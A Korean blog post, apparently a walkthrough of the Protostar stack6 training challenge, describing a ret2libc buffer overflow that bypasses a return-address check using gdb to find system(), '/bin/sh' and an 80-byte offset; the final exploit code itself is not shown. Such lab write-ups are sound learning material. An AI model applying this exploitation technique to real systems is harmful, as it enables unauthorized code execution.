stack6의 소스코드이다
매우중요
이번부터는 무조건 직접 컴파일 하는게 아닌 프로토스타 iso쪽의 컴파일된 파일들을 무조건사용해야한다
!!!!!!!!!!!!!!!!!!!!!!!!!! 환경등 다 다르기떄문
return 이란 값을 builtin_~ 으로 받아온다
return을 가져와서 리턴에 뭐가 들어가는지 점검하는 함수이다.
return을 and 연산을 하고있는것이다
and 연산을해서 return이 포함되는 bf주소를 가지고 있다면 그것을 무력하게만드는 방법이다.
ret and 0xbf000000 똑같은 값이 나오면 안된다. 즉 0xbf000000이 아니도록한다.
BF000000 And FFFFFFFF = BF000000
BF가 첫번쨰와 두번쨰에 들어가면 안된다는것이다
stack5의 두번쨰 푸는 방법을 활용해서 문제를 해결할 것이다.
sudo apt-get install lib32z1
gdb ./stack6
b *main
run
disas system
print system
system = 0xf7c4c910
작성중인 python 코드에 넣으며
find /bin/sh
/bin/sh의 주소도
/bin/sh = 0xf7db5faa 작성중인exploit 코드에 추가하여 작성한다.
disas main
b *main+14
pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
run
0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.
0x41414a41 해당 주소의 오프셋 주소 위치를 확인한다.
80번쨰 인것을 확인했다!
자이제
system 주소
bin_sh 주소
offset 위치를 확인했으니 exploit 코드를 완성합니다
system 주소
bin_sh 주소
offset 위치를 확인했으니 exploit 코드 완성
최종 exploit 코드이다.!
protostack stack6 를 해결했으며 명령어가 성공적으로 입력된다.
!!!
'시스템 해킹' 카테고리의 다른 글
Protostar - stack 7 jmpcall을 사용한 우회 방법 (exploit 코드만 작성 ) (0) | 2024.05.19 |
---|---|
Protostack - stack 5 를 stack6 방법으로 해결하기 (0) | 2024.05.19 |
Protostar stack - 5 쉘코드 생성, 리눅스 어태치 방법 (0) | 2024.05.18 |
Protostar stack - 4 pwn, return 덮어씌워서 코드 흐름 변경 (0) | 2024.05.18 |
Protostar stack - 3 pwn 툴 사용해서 공격 (0) | 2024.05.16 |